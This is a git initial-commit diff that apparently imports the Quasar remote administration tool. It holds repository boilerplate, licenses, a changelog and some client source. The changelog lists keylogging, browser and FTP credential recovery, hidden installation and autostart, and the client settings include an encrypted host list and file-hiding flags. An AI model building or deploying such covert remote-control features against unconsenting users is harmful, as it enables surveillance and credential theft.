commit 96afff7a8362a7b95d453cdf3bd25f97ecb596e8 Author: i2p Date: Thu Aug 27 11:22:16 2026 -0600 initial commit diff --git a/.DS_Store b/.DS_Store new file mode 100644 index 0000000..312df9b Binary files /dev/null and b/.DS_Store differ diff --git a/.gitattributes b/.gitattributes new file mode 100644 index 0000000..412eeda --- /dev/null +++ b/.gitattributes @@ -0,0 +1,22 @@ +# Auto detect text files and perform LF normalization +* text=auto + +# Custom for Visual Studio +*.cs diff=csharp +*.sln merge=union +*.csproj merge=union +*.vbproj merge=union +*.fsproj merge=union +*.dbproj merge=union + +# Standard to msysgit +*.doc diff=astextplain +*.DOC diff=astextplain +*.docx diff=astextplain +*.DOCX diff=astextplain +*.dot diff=astextplain +*.DOT diff=astextplain +*.pdf diff=astextplain +*.PDF diff=astextplain +*.rtf diff=astextplain +*.RTF diff=astextplain diff --git a/.github/ISSUE_TEMPLATE/bug_report.yaml b/.github/ISSUE_TEMPLATE/bug_report.yaml new file mode 100644 index 0000000..8163cd2 --- /dev/null +++ b/.github/ISSUE_TEMPLATE/bug_report.yaml @@ -0,0 +1,77 @@ +name: Bug report +description: Create a bug or crash report +labels: ["bug"] +body: + - type: input + attributes: + label: Quasar version + placeholder: 1.4.0 or commit-id + validations: + required: true + - type: input + attributes: + label: Server installed .NET version + placeholder: .NET 6.0 + - type: dropdown + attributes: + label: Server operating system + options: + - Windows 11/Server 2022 + - Windows 10/Server 2019/2016 + - Windows 8/8.1/Server 2012 + - Windows 7/Server 2008 R2 + - Other + validations: + required: true + - type: input + attributes: + label: Client installed .NET version + placeholder: .NET 6.0 + - type: dropdown + attributes: + label: Client operating system + options: + - Windows 11/Server 2022 + - Windows 10/Server 2019/2016 + - Windows 8/8.1/Server 2012 + - Windows 7/Server 2008 R2 + - Other + validations: + required: true + - type: dropdown + attributes: + label: Build configuration + options: + - Debug + - Release + validations: + required: true + - type: textarea + attributes: + label: Describe the bug + description: A clear and concise description of what the bug is. + validations: + required: true + - type: textarea + attributes: + label: How to reproduce + description: The steps on how to reproduce the bug. + validations: + required: true + - type: textarea + attributes: + label: Expected behavior + description: Describe the result that you expect to get after performing the steps. + validations: + required: true + - type: textarea + attributes: + label: Actual behavior + description: Describe the actual behavior that you observed after performing the steps. + validations: + required: true + - type: textarea + attributes: + label: Additional context + description: Any other information that may help us fix the issue goes here (e.g. screenshots). + diff --git a/.github/ISSUE_TEMPLATE/feature_request.yaml b/.github/ISSUE_TEMPLATE/feature_request.yaml new file mode 100644 index 0000000..e56dad8 --- /dev/null +++ b/.github/ISSUE_TEMPLATE/feature_request.yaml @@ -0,0 +1,23 @@ +name: Feature request +description: Suggest a new feature +labels: ["enhancement"] +body: + - type: textarea + attributes: + label: Problem description + description: A clear and concise description of what the problem is. + placeholder: | + Example: "I'm always frustrated when [...]", or "I often need to [...]" + validations: + required: true + - type: textarea + attributes: + label: Proposal + description: A clear and concise description of what you want to happen. + validations: + required: true + - type: textarea + attributes: + label: Additional context + description: Add any other context or screenshots about the feature request here. + diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..69ef28b --- /dev/null +++ b/.gitignore @@ -0,0 +1,204 @@ +## Ignore Visual Studio temporary files, build results, and +## files generated by popular Visual Studio add-ons. + +# User-specific files +*.suo +*.user +*.userosscache +*.sln.docstates + +# User-specific files (MonoDevelop/Xamarin Studio) +*.userprefs + +# Build results +[Dd]ebug/ +[Dd]ebugPublic/ +[Rr]elease/ +[Rr]eleases/ +x64/ +x86/ +bld/ +[Bb]in/ +[Oo]bj/ + +# Visual Studio 2015 cache/options directory +.vs/ + +# MSTest test Results +[Tt]est[Rr]esult*/ +[Bb]uild[Ll]og.* + +# NUNIT +*.VisualState.xml +TestResult.xml + +# Build Results of an ATL Project +[Dd]ebugPS/ +[Rr]eleasePS/ +dlldata.c + +# DNX +project.lock.json +artifacts/ + +*_i.c +*_p.c +*_i.h +*.ilk +*.meta +*.obj +*.pch +*.pdb +*.pgc +*.pgd +*.rsp +*.sbr +*.tlb +*.tli +*.tlh +*.tmp +*.tmp_proj +*.log +*.vspscc +*.vssscc +.builds +*.pidb +*.svclog +*.scc + +# Chutzpah Test files +_Chutzpah* + +# Visual C++ cache files +ipch/ +*.aps +*.ncb +*.opensdf +*.sdf +*.cachefile + +# Visual Studio profiler +*.psess +*.vsp +*.vspx + +# TFS 2012 Local Workspace +$tf/ + +# Guidance Automation Toolkit +*.gpState + +# ReSharper is a .NET coding add-in +_ReSharper*/ +*.[Rr]e[Ss]harper +*.DotSettings.user + +# JustCode is a .NET coding add-in +.JustCode + +# TeamCity is a build add-in +_TeamCity* + +# DotCover is a Code Coverage Tool +*.dotCover + +# NCrunch +_NCrunch_* +.*crunch*.local.xml + +# MightyMoose +*.mm.* +AutoTest.Net/ + +# Web workbench (sass) +.sass-cache/ + +# Installshield output folder +[Ee]xpress/ + +# DocProject is a documentation generator add-in +DocProject/buildhelp/ +DocProject/Help/*.HxT +DocProject/Help/*.HxC +DocProject/Help/*.hhc +DocProject/Help/*.hhk +DocProject/Help/*.hhp +DocProject/Help/Html2 +DocProject/Help/html + +# Click-Once directory +publish/ + +# Publish Web Output +*.[Pp]ublish.xml +*.azurePubxml +# TODO: Comment the next line if you want to checkin your web deploy settings +# but database connection strings (with potential passwords) will be unencrypted +*.pubxml +*.publishproj + +# NuGet Packages +*.nupkg +# The packages folder can be ignored because of Package Restore +**/packages/* +# except build/, which is used as an MSBuild target. +!**/packages/build/ +# Uncomment if necessary however generally it will be regenerated when needed +#!**/packages/repositories.config + +# Windows Azure Build Output +csx/ +*.build.csdef + +# Windows Store app package directory +AppPackages/ + +# Visual Studio cache files +# files ending in .cache can be ignored +*.[Cc]ache +# but keep track of directories ending in .cache +!*.[Cc]ache/ + +# Others +ClientBin/ +[Ss]tyle[Cc]op.* +~$* +*~ +*.dbmdl +*.dbproj.schemaview +*.pfx +*.publishsettings +node_modules/ +orleans.codegen.cs + +# RIA/Silverlight projects +Generated_Code/ + +# Backup & report files from converting an old project file +# to a newer Visual Studio version. Backup files are not needed, +# because we have git ;-) +_UpgradeReport_Files/ +Backup*/ +UpgradeLog*.XML +UpgradeLog*.htm + +# SQL Server files +*.mdf +*.ldf + +# Business Intelligence projects +*.rdl.data +*.bim.layout +*.bim_*.settings + +# Microsoft Fakes +FakesAssemblies/ + +# Node.js Tools for Visual Studio +.ntvs_analysis.dat + +# Visual Studio 6 build log +*.plg + +# Visual Studio 6 workspace options file +*.opt \ No newline at end of file diff --git a/CHANGELOG.md b/CHANGELOG.md new file mode 100644 index 0000000..e0871f9 --- /dev/null +++ b/CHANGELOG.md @@ -0,0 +1,104 @@ +# Quasar Changelog + +## Quasar v1.4.1 [12.03.2023] +* Added missing WOW64 subsystem autostart locations +* Fixed file transfers of files larger than 2 GB +* Fixed file transfers of empty files +* Fixed browser credentials recovery +* Fixed race condition on shutdown +* Fixed IP Geolocation +* Fixed opening remote shell sessions on non-system drives +* Fixed incorrectly set file attributes on client installations +* Fixed sorting of listview columns with numbers +* Updated dependencies + +## Quasar v1.4.0 [05.06.2020] +* **Changed target framework to .NET Framework 4.5.2** +* **Changed license to MIT** +* Changed message serializer to Protobuf +* Changed versioning scheme to Semantic Versioning (https://semver.org/) +* Added attended/unattended client modes +* Added TLS 1.2 as transport encryption +* Added UTC timestamps to log files +* Added dependencies as NuGet packages +* Updated dependencies +* Updated message processing in client and server +* Updated mouse and keyboard input to SendInput API +* Fixed file transfer vulnerbilities ([#623](https://github.com/quasar/Quasar/issues/623)) +* Lots of under the hood changes for an upcoming plugin system + +## Quasar v1.3.0.0 [28.09.2016] +* Added Registry Editor +* Added Remote Webcam +* Added Windows DPI scaling support +* Added IPv6 support +* Added ability to elevate Client +* Added full Unicode support +* Added Remote TCP Connections Viewer +* Added option to hide sub directory of installation path +* Improved cryptography +* Fixed XSS vulnerability in Keylogger Logs +* Fixed Remote Messagebox having wrong icon +* Fixed FileZilla Recovery base64 decoding +* Fixed UPnP discovery freezing in some cases +* Fixed IP Geolocation +* Fixed Client loses Administrator privileges on restart +* Some minor improvements + +## Quasar v1.2.0.0 [12.10.2015] +* Added Client restart on unhandled exceptions +* Added additional settings to Keylogger (set/hide log-directory) +* Added encrypted Keylogger logs +* Improved Client Builder +* Improved System Information +* Improved File Manager behaviour when loading directories with many files +* Improved Remote Shell (scrolls now correctly to the bottom when new text received) +* Improved compatibility with many connected clients (1k+) +* Improved AES encryption/decryption speed (if available, makes use of hardware accelerated AES) +* Fixed Client not setting file attribute correctly on startup +* Fixed Remote Desktop lagging with mouse input and maximized window +* Some minor improvements + +## Quasar v1.1.0.0 [30.08.2015] +* **Changed Target Framework to .NET Framework 4.0 Client Profile** +* Added deletion of ZoneIdentifier file when installing +* Improved Client installation error handling +* Improved Client HardwareID generation +* Improved Client-Server handshake +* Support detection of multiple AVs, Firewalls, GPUs, CPUs +* Fixed Builder Profile not saving correctly Installation Subfolder +* Fixed Builder not validating input correctly +* Fixed Builder creating Client with empty list of hosts +* Fixed Settings Password not hashed when pressing 'Start listening' +* Fixed Reverse Proxy using always wrong port +* Fixed Server throwing NullReferenceException when closing and no Clients connected +* Fixed Client reporting wrong uptime on systems with uptime longer than 49.7 days +* Fixed Client installation path empty on Windows XP 32-bit in some scenarios +* Fixed Client installation to system directory failing on 64-bit OS +* Fixed Client uninstallation not working when file is marked as read-only +* Fixed Client crashing after update on first start in some scenarios +* Fixed Client crashing when list of hosts is empty (Client exits now) +* Fixed Client not reconnecting when Server uses different password +* Fixed Client registry access +* Removed Statistics window, will be remade in a later version + +## Quasar v1.0.0.0 [22.08.2015] +* **xRAT is now Quasar** +* Added Password Recovery (Common Browsers and FTP Clients) +* Added Server compatiblity with Mono (Server now runs on Linux with Mono installed) + * Client Builder works also on Linux/Mono +* Added ability to upload batch files +* Added Client support for multiple hosts +* Added maximum simultaneous file downloads/uploads (current max: 2) +* Fixed Remote Shell redirecting of standard output not working after redirecting error output +* Fixed Remote Shell not displaying unicode characters correctly +* Fixed Remote Desktop crash when changing screen resolution +* Fixed File Manager would refresh directory when double-clicking files +* Improved support for Windows 8 and above +* Improved Remote Desktop (Speed, Full Mouse and Keyboard support) +* Improved File Manager (Show name of drive, current path, upload files) +* Improved UPnP support +* Improved Geo IP support +* Improved Builder UI +* Switched from Protobuff to NetSerializer +* Lots of under the hood changes for stability and performance diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md new file mode 100644 index 0000000..5ccd286 --- /dev/null +++ b/CONTRIBUTING.md @@ -0,0 +1,19 @@ +# Contributing + +1. Fork it +2. Create your feature branch (`git checkout -b my-new-feature`) +3. Commit your changes (`git commit -am 'Add some feature'`) +4. Push to the branch (`git push origin my-new-feature`) +5. Create new pull request (PR) + +## Guidelines for pull requests: + +1. Respect the coding style of Quasar. +2. Create a new branch for each PR. +3. Single feature or bug-fix per PR. +4. Make single commit per PR. +5. Make your modification compact - don't reformat source code in your request. It makes code review more difficult. +6. PR of reformatting (changing of ws/TAB, line endings or coding style) of source code won't be accepted. Use the issue tracker for your request instead. +7. Typo fixing and code refactoring won't be accepted - please create issues with title started with TYPO to request the changing. + +In short: The easier the code review is, the better the chance your pull request will get accepted. diff --git a/Images/remote-desktop.png b/Images/remote-desktop.png new file mode 100644 index 0000000..e8bb4dc Binary files /dev/null and b/Images/remote-desktop.png differ diff --git a/Images/remote-files.png b/Images/remote-files.png new file mode 100644 index 0000000..ec9fea1 Binary files /dev/null and b/Images/remote-files.png differ diff --git a/Images/remote-shell.png b/Images/remote-shell.png new file mode 100644 index 0000000..16dd99f Binary files /dev/null and b/Images/remote-shell.png differ diff --git a/LICENSE b/LICENSE new file mode 100644 index 0000000..77a1c0b --- /dev/null +++ b/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2023 MaxXor + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/Licenses/Be.HexEditor_license.txt b/Licenses/Be.HexEditor_license.txt new file mode 100644 index 0000000..2f8576c --- /dev/null +++ b/Licenses/Be.HexEditor_license.txt @@ -0,0 +1,21 @@ +The MIT License + +Copyright (c) 2011 Bernhard Elbl + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in +all copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +THE SOFTWARE. diff --git a/Licenses/BouncyCastle_license.html b/Licenses/BouncyCastle_license.html new file mode 100644 index 0000000..829aa6b --- /dev/null +++ b/Licenses/BouncyCastle_license.html @@ -0,0 +1,39 @@ + + + + + License + + +

The Bouncy Castle Cryptographic C#® API

+

License:

+The Bouncy Castle License
+Copyright (c) 2000-2018 The Legion of the Bouncy Castle Inc. +(https://www.bouncycastle.org)
+Permission is hereby granted, free of charge, to any person obtaining a +copy of this software and associated documentation files (the "Software"), to deal in the +Software without restriction, including without limitation the rights to use, copy, modify, merge, +publish, distribute, sub license, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
+The above copyright notice and this permission notice shall be included +in all copies or substantial portions of the Software.
+THE SOFTWARE IS PROVIDED "AS IS", +WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED,
+INCLUDING BUT NOT LIMITED TO THE +WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR
+PURPOSE AND NONINFRINGEMENT. IN NO +EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
+LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR
+OTHERWISE, ARISING FROM, OUT OF OR IN +CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
+DEALINGS IN THE SOFTWARE.
+
+ + + diff --git a/Licenses/GlobalMouseKeyHook_license.txt b/Licenses/GlobalMouseKeyHook_license.txt new file mode 100644 index 0000000..78d9757 --- /dev/null +++ b/Licenses/GlobalMouseKeyHook_license.txt @@ -0,0 +1,21 @@ +The MIT License (MIT) + +Copyright (c) 2010-2018 George Mamaladze + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in +all copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +THE SOFTWARE. diff --git a/Licenses/Mono.Cecil_license.txt b/Licenses/Mono.Cecil_license.txt new file mode 100644 index 0000000..afd0ae6 --- /dev/null +++ b/Licenses/Mono.Cecil_license.txt @@ -0,0 +1,21 @@ +Copyright (c) 2008 - 2015 Jb Evain +Copyright (c) 2008 - 2011 Novell, Inc. + +Permission is hereby granted, free of charge, to any person obtaining +a copy of this software and associated documentation files (the +"Software"), to deal in the Software without restriction, including +without limitation the rights to use, copy, modify, merge, publish, +distribute, sublicense, and/or sell copies of the Software, and to +permit persons to whom the Software is furnished to do so, subject to +the following conditions: + +The above copyright notice and this permission notice shall be +included in all copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF +MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND +NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE +LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION +OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION +WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. diff --git a/Licenses/Open.Nat_license.txt b/Licenses/Open.Nat_license.txt new file mode 100644 index 0000000..cb71efb --- /dev/null +++ b/Licenses/Open.Nat_license.txt @@ -0,0 +1,23 @@ +The MIT License + +Copyright (C) 2006 Alan McGovern +Copyright (C) 2007 Ben Motmans +Copyright (C) 2014 Lucas Ontivero + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in +all copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +THE SOFTWARE. diff --git a/Licenses/ResourceLib_license.txt b/Licenses/ResourceLib_license.txt new file mode 100644 index 0000000..cd812d8 --- /dev/null +++ b/Licenses/ResourceLib_license.txt @@ -0,0 +1,20 @@ +Copyright (c) 2008-2016 Daniel Doubrovkine, Vestris Inc. + +Permission is hereby granted, free of charge, to any person obtaining +a copy of this software and associated documentation files (the +"Software"), to deal in the Software without restriction, including +without limitation the rights to use, copy, modify, merge, publish, +distribute, sublicense, and/or sell copies of the Software, and to +permit persons to whom the Software is furnished to do so, subject to +the following conditions: + +The above copyright notice and this permission notice shall be +included in all copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF +MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND +NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE +LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION +OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION +WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. diff --git a/Licenses/SilkIcons_license.txt b/Licenses/SilkIcons_license.txt new file mode 100644 index 0000000..e1c6e8d --- /dev/null +++ b/Licenses/SilkIcons_license.txt @@ -0,0 +1,2 @@ +Silk icon set 1.3 by Mark James +http://www.famfamfam.com/lab/icons/silk/ diff --git a/Licenses/protobuf-net_license.txt b/Licenses/protobuf-net_license.txt new file mode 100644 index 0000000..692cf3b --- /dev/null +++ b/Licenses/protobuf-net_license.txt @@ -0,0 +1,20 @@ +The core Protocol Buffers technology is provided courtesy of Google. +At the time of writing, this is released under the BSD license. +Full details can be found here: + +http://code.google.com/p/protobuf/ + + +This .NET implementation is Copyright 2008 Marc Gravell + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. diff --git a/Quasar.Client/Config/Settings.cs b/Quasar.Client/Config/Settings.cs new file mode 100644 index 0000000..82cc48c --- /dev/null +++ b/Quasar.Client/Config/Settings.cs @@ -0,0 +1,113 @@ +using Quasar.Common.Cryptography; +using System; +using System.IO; +using System.Security.Cryptography; +using System.Security.Cryptography.X509Certificates; +using System.Text; +using System.Windows.Forms; + +namespace Quasar.Client.Config +{ + /// + /// Stores the configuration of the client. + /// + public static class Settings + { +#if DEBUG + public static string VERSION = Application.ProductVersion; + public static string HOSTS = "localhost:4782;"; + public static int RECONNECTDELAY = 500; + public static Environment.SpecialFolder SPECIALFOLDER = Environment.SpecialFolder.ApplicationData; + public static string DIRECTORY = Environment.GetFolderPath(SPECIALFOLDER); + public static string SUBDIRECTORY = "Test"; + public static string INSTALLNAME = "test.exe"; + public static bool INSTALL = false; + public static bool STARTUP = false; + public static string MUTEX = "123AKs82kA,ylAo2kAlUS2kYkala!"; + public static string STARTUPKEY = "Test key"; + public static bool HIDEFILE = false; + public static bool ENABLELOGGER = false; + public static string ENCRYPTIONKEY = "CFCD0759E20F29C399C9D4210BE614E4E020BEE8"; + public static string TAG = "DEBUG"; + public static string LOGDIRECTORYNAME = "Logs"; + public static string SERVERSIGNATURE = ""; + public static string SERVERCERTIFICATESTR = ""; + public static X509Certificate2 SERVERCERTIFICATE; + public static bool HIDELOGDIRECTORY = false; + public static bool HIDEINSTALLSUBDIRECTORY = false; + public static string INSTALLPATH = ""; + public static string LOGSPATH = ""; + public static bool UNATTENDEDMODE = true; + + public static bool Initialize() + { + SetupPaths(); + return true; + } +#else + public static string VERSION = ""; + public static string HOSTS = ""; + public static int RECONNECTDELAY = 5000; + public static Environment.SpecialFolder SPECIALFOLDER = Environment.SpecialFolder.ApplicationData; + public static string DIRECTORY = Environment.GetFolderPath(SPECIALFOLDER); + public static string SUBDIRECTORY = ""; + public static string INSTALLNAME = ""; + public static bool INSTALL = false; + public static bool STARTUP = false; + public static string MUTEX = ""; + public static string STARTUPKEY = ""; + public static bool HIDEFILE = false; + public static bool ENABLELOGGER = false; + public static string ENCRYPTIONKEY = ""; + public static string TAG = ""; + public static string LOGDIRECTORYNAME = ""; + public static string SERVERSIGNATURE = ""; + public static string SERVERCERTIFICATESTR = ""; + public static X509Certificate2 SERVERCERTIFICATE; + public static bool HIDELOGDIRECTORY = false; + public static bool HIDEINSTALLSUBDIRECTORY = false; + public static string INSTALLPATH = ""; + public static string LOGSPATH = ""; + public static bool UNATTENDEDMODE = false; + + public static bool Initialize() + { + if (string.IsNullOrEmpty(VERSION)) return false; + var aes = new Aes256(ENCRYPTIONKEY); + TAG = aes.Decrypt(TAG); + VERSION = aes.Decrypt(VERSION); + HOSTS = aes.Decrypt(HOSTS); + SUBDIRECTORY = aes.Decrypt(SUBDIRECTORY); + INSTALLNAME = aes.Decrypt(INSTALLNAME); + MUTEX = aes.Decrypt(MUTEX); + STARTUPKEY = aes.Decrypt(STARTUPKEY); + LOGDIRECTORYNAME = aes.Decrypt(LOGDIRECTORYNAME); + SERVERSIGNATURE = aes.Decrypt(SERVERSIGNATURE); + SERVERCERTIFICATE = new X509Certificate2(Convert.FromBase64String(aes.Decrypt(SERVERCERTIFICATESTR))); + SetupPaths(); + return VerifyHash(); + } +#endif + + static void SetupPaths() + { + LOGSPATH = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), LOGDIRECTORYNAME); + INSTALLPATH = Path.Combine(DIRECTORY, (!string.IsNullOrEmpty(SUBDIRECTORY) ? SUBDIRECTORY + @"\" : "") + INSTALLNAME); + } + + static bool VerifyHash() + { + try + { + var csp = (RSACryptoServiceProvider) SERVERCERTIFICATE.PublicKey.Key; + return csp.VerifyHash(Sha256.ComputeHash(Encoding.UTF8.GetBytes(ENCRYPTIONKEY)), CryptoConfig.MapNameToOID("SHA256"), + Convert.FromBase64String(SERVERSIGNATURE)); + + } + catch (Exception) + { + return false; + } + } + } +} diff --git a/Quasar.Client/Helper/DateTimeHelper.cs b/Quasar.Client/Helper/DateTimeHelper.cs new file mode 100644 index 0000000..90405a0 --- /dev/null +++ b/Quasar.Client/Helper/DateTimeHelper.cs @@ -0,0 +1,16 @@ +using System; + +namespace Quasar.Client.Helper +{ + public static class DateTimeHelper + { + public static string GetLocalTimeZone() + { + var tz = TimeZoneInfo.Local; + var tzOffset = tz.GetUtcOffset(DateTime.Now); + var tzOffsetSign = tzOffset >= TimeSpan.Zero ? "+" : ""; + var tzName = tz.SupportsDaylightSavingTime && tz.IsDaylightSavingTime(DateTime.Now) ? tz.DaylightName : tz.StandardName; + return $"{tzName} (UTC {tzOffsetSign}{tzOffset.Hours}{(tzOffset.Minutes != 0 ? $":{Math.Abs(tzOffset.Minutes)}" : "")})"; + } + } +} diff --git a/Quasar.Client/Helper/JsonHelper.cs b/Quasar.Client/Helper/JsonHelper.cs new file mode 100644 index 0000000..9dfdfe7 --- /dev/null +++ b/Quasar.Client/Helper/JsonHelper.cs @@ -0,0 +1,46 @@ +using System.IO; +using System.Runtime.Serialization.Json; +using System.Text; + +namespace Quasar.Client.Helper +{ + /// + /// Provides methods to serialize and deserialize JSON. + /// + public static class JsonHelper + { + /// + /// Serializes an object to the respectable JSON string. + /// + public static string Serialize(T o) + { + var s = new DataContractJsonSerializer(typeof(T)); + using (var ms = new MemoryStream()) + { + s.WriteObject(ms, o); + return Encoding.UTF8.GetString(ms.ToArray()); + } + } + + /// + /// Deserializes a JSON string to the specified object. + /// + public static T Deserialize(string json) + { + var s = new DataContractJsonSerializer(typeof(T)); + using (var ms = new MemoryStream(Encoding.UTF8.GetBytes(json))) + { + return (T)s.ReadObject(ms); + } + } + + /// + /// Deserializes a JSON stream to the specified object. + /// + public static T Deserialize(Stream stream) + { + var s = new DataContractJsonSerializer(typeof(T)); + return (T)s.ReadObject(stream); + } + } +} diff --git a/Quasar.Client/Helper/NativeMethodsHelper.cs b/Quasar.Client/Helper/NativeMethodsHelper.cs new file mode 100644 index 0000000..1002244 --- /dev/null +++ b/Quasar.Client/Helper/NativeMethodsHelper.cs @@ -0,0 +1,197 @@ +using Quasar.Client.Utilities; +using System; +using System.Drawing; +using System.Runtime.InteropServices; +using System.Text; + +namespace Quasar.Client.Helper +{ + public static class NativeMethodsHelper + { + private const int INPUT_MOUSE = 0; + private const int INPUT_KEYBOARD = 1; + + private const uint MOUSEEVENTF_LEFTDOWN = 0x0002; + private const uint MOUSEEVENTF_LEFTUP = 0x0004; + private const uint MOUSEEVENTF_RIGHTDOWN = 0x0008; + private const uint MOUSEEVENTF_RIGHTUP = 0x0010; + private const uint MOUSEEVENTF_WHEEL = 0x0800; + private const uint KEYEVENTF_KEYDOWN = 0x0000; + private const uint KEYEVENTF_KEYUP = 0x0002; + + public static uint GetLastInputInfoTickCount() + { + NativeMethods.LASTINPUTINFO lastInputInfo = new NativeMethods.LASTINPUTINFO(); + lastInputInfo.cbSize = (uint) Marshal.SizeOf(lastInputInfo); + lastInputInfo.dwTime = 0; + NativeMethods.GetLastInputInfo(ref lastInputInfo); + return lastInputInfo.dwTime; + } + + public static void DoMouseLeftClick(Point p, bool isMouseDown) + { + NativeMethods.INPUT[] inputs = { + new NativeMethods.INPUT + { + type = INPUT_MOUSE, + u = new NativeMethods.InputUnion + { + mi = new NativeMethods.MOUSEINPUT + { + dx = p.X, + dy = p.Y, + mouseData = 0, + dwFlags = isMouseDown ? MOUSEEVENTF_LEFTDOWN : MOUSEEVENTF_LEFTUP, + time = 0, + dwExtraInfo = NativeMethods.GetMessageExtraInfo() + } + } + } + }; + + NativeMethods.SendInput((uint)inputs.Length, inputs, Marshal.SizeOf(typeof(NativeMethods.INPUT))); + } + + public static void DoMouseRightClick(Point p, bool isMouseDown) + { + NativeMethods.INPUT[] inputs = { + new NativeMethods.INPUT + { + type = INPUT_MOUSE, + u = new NativeMethods.InputUnion + { + mi = new NativeMethods.MOUSEINPUT + { + dx = p.X, + dy = p.Y, + mouseData = 0, + dwFlags = isMouseDown ? MOUSEEVENTF_RIGHTDOWN : MOUSEEVENTF_RIGHTUP, + time = 0, + dwExtraInfo = NativeMethods.GetMessageExtraInfo() + } + } + } + }; 